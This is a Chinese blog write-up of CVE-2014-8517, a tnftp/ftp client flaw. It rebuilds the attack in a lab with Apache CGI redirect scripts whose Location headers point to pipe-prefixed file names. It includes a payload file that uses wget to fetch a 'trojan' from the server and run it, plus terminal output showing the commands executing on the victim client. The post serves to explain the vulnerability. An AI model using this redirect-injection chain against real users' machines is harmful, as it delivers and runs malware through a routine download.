cve-2014-8517 FTP漏洞详解

个人博客同步发布:

http://superbrain.cn/cve-2014-8517-detail/

参考链接: 

http://www.oschina.net/news/56589/ftp-security-hole

http://www.freebuf.com/news/49411.html 

看下面的漏洞描述:

a20$ pwd
    /var/www/cgi-bin
 
a20$ ls -l
    total 4      -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
    -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a
 
a20$ cat redirect
    #!/bin/sh      echo 'Status: 302 Found'      echo 'Content-Type: text/html'      echo 'Connection: keep-alive'      echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'      echo
 
a20$
a20$ ftp http://localhost/cgi-bin/redirect
   Trying ::1:80 ...    ftp: Can't connect to `::1:80': Connection refused
   Trying 127.0.0.1:80 ...    Requesting http://localhost/cgi-bin/redirect
   Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
   Requesting http://192.168.2.19/cgi-bin/|uname%20-a
       32      101.46 KiB/s
   32 bytes retrieved in 00:00 (78.51 KiB/s)    NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36    ADT 2014    Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
   BOARD evbarm
 
a20$

大致意思是通过http的重定向方法,当客户端通过ftp来下载某一个http链接的时候,有可能会直接执行本地命令。 

下面我们来通过实际例子来还原一下这个漏洞的场景:

一、 首先搭建测试环境

这里使用debian7-x86_64虚拟机做作为服务器环境

  1. 安装apache2:

root@virtual#apt-get  install apache2


debian7中apache2中默认已经加载了cgid模块,无需再额外加载cgi模块了。

然后修改apache配置文件,配置正确的cgi目录:

/etc/apache2/sites-available/default:

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
 
        DocumentRoot /var/www
        <Directory />
                Options FollowSymLinks
                AllowOverride None
        </Directory>
        <Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all
        </Directory>
 
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        <Directory "/usr/lib/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
        </Directory>
 
        ErrorLog ${APACHE_LOG_DIR}/error.log
 
        # Possible values include: debug, info, notice, warn, error, crit,
        # alert, emerg.
        LogLevel warn
 
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

上面的配置可以看到,默认是已经配置好了cgi-bin目录的,我们可以把cgi-bin目录修改为我们自己的目录:

ScriptAlias /cgi-bin/ /var/www/cgi-bin/
<Directory "/usr/lib/cgi-bin">
         AllowOverride All
         Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
         Order allow,deny
         Allow from all
 </Directory>

这个时候所有在/var/www/cgi-bin/中的脚本都可以被解释执行了

2 新建例子中的文件

在/var/www/cgi-bin目录中新建一个文件redirect,内容如下:

#!/bin/sh
echo 'Status: 302 Found'
echo 'Content-Type: text/html'
echo 'Connection: keep-alive'
echo 'Location: http://192.168.111.208/|uname%20-a'
echo

然后再/var/www目录下生成一个新的文件,由于cgi-bin目录在apache2中比较特殊,所以如果下面这个文件建立在cgi-bin目录下的话,可能还需要设置下才能够正常访问,这里为了方便,就直接在/var/www下建立这个文件了。

touch "|uname -a"

3 测试

在mac机上测试:

$ftp http://192.168.111.208/cgi-bin/redirect
Requesting http://192.168.111.208/cgi-bin/redirect
Redirected to http://192.168.111.208/|uname%20-a
Requesting http://192.168.111.208/|uname%20-a
     0        0.00 KiB/s
Darwin supertekiAir.lan 14.0.0 Darwin Kernel Version 14.0.0:

如上,可以看到,ftp在下载完redirect后,又执行了“uname -a”的命令。

二、 那么,这个漏洞会被怎样利用?

最常见的做法,应该就是下载一个木马、远控到客户端机器上,然后运行……

下面我们做一个测试: 同样的方法建立下面几个文件:

/var/www/cgi-bin/redirect1:

#!/bin/sh
echo 'Status: 302 Found'
echo 'Content-Type: text/html'
echo 'Connection: keep-alive'
echo 'Location: http://192.168.111.208/file1'
echo

/var/www/file1:

# 这个文件可以使互联网上得任意一个链接了
wget http://192.168.111.208/run;
chmod a+x run;
./run.sh

/var/www/cgi-bin/redirect2:

#!/bin/sh
echo 'Status: 302 Found'
echo 'Content-Type: text/html'
echo 'Connection: keep-alive'
echo 'Location: http://192.168.111.208/|sh%20file1'
echo

/var/www/run:

#!/bin/sh
echo "I am in your computer!"

在/var/www下建立一个空文件“|sh file1”:

touch "|sh file1"

测试

在mac下执行下面几条命令:

$ ftp http://192.168.111.208/cgi-bin/redirect2
Requesting http://192.168.111.208/cgi-bin/redirect2
Redirected to http://192.168.111.208/|sh%20file1
Requesting http://192.168.111.208/|sh%20file1
100% |***********************************|     6       83.70 KiB/s    00:00 ETA
6 bytes retrieved in 00:00 (65.83 KiB/s)
file1: line 1: wget: command not found
chmod: run.sh: No such file or directory
file1: line 3: ./run: No such file or directory

可以看到命令都已经执行了,但是由于mac下没有安装wget,所以没有执行成功 登陆到我们的debian7虚拟机上来测试:

root@virtual:~/temp# tnftp  http://192.168.111.208/cgi-bin/redirect1
Requesting http://192.168.111.208/cgi-bin/redirect1
Redirected to http://192.168.111.208/file1
Requesting http://192.168.111.208/file1
100% |***********************************|    53        1.44 MiB/s    00:00 ETA
53 bytes retrieved in 00:00 (588.15 KiB/s)
root@virtual:~/temp# tnftp  http://192.168.111.208/cgi-bin/redirect2
Requesting http://192.168.111.208/cgi-bin/redirect2
Redirected to http://192.168.111.208/|sh%20file1
Requesting http://192.168.111.208/|sh%20file1
100% |***********************************|     6      133.16 KiB/s    00:00 ETA
6 bytes retrieved in 00:00 (97.65 KiB/s)
--2014-10-30 22:48:21--  http://192.168.111.208/run
正在连接 192.168.111.208:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:40
正在保存至: “run”
 
100%[======================================>] 40          --.-K/s 用时 0s
 
2014-10-30 22:48:21 (5.11 MB/s) - 已保存 “run” [40/40])
 
I am in your computer!

注意这里使用的是tnftp,在debian7下不安装tnftp,直接执行ftp的话,是没有效果的 如上所看到的,我们经过两个ftp下载命令,实际已经启动了下载下来的“木马”。

思考

上面为什么要执行两次ftp下载指令? 从这个漏洞的原理来说,是将文件名作为命令来执行了,那我们大可以整个入侵脚本都写成一行,然后建立一个这样名称的文件,这样就可以用一条ftp命令来搞定了! 但是现实是,linux下文件名中不能有“/"字符!那么久很难把“下载木马”、“运行木马”都写在一个文件名里了(不排除有实现的可能性),所以只能通过这种方式来折中下了。


你可能感兴趣的:(cve-2014-8517 FTP漏洞详解)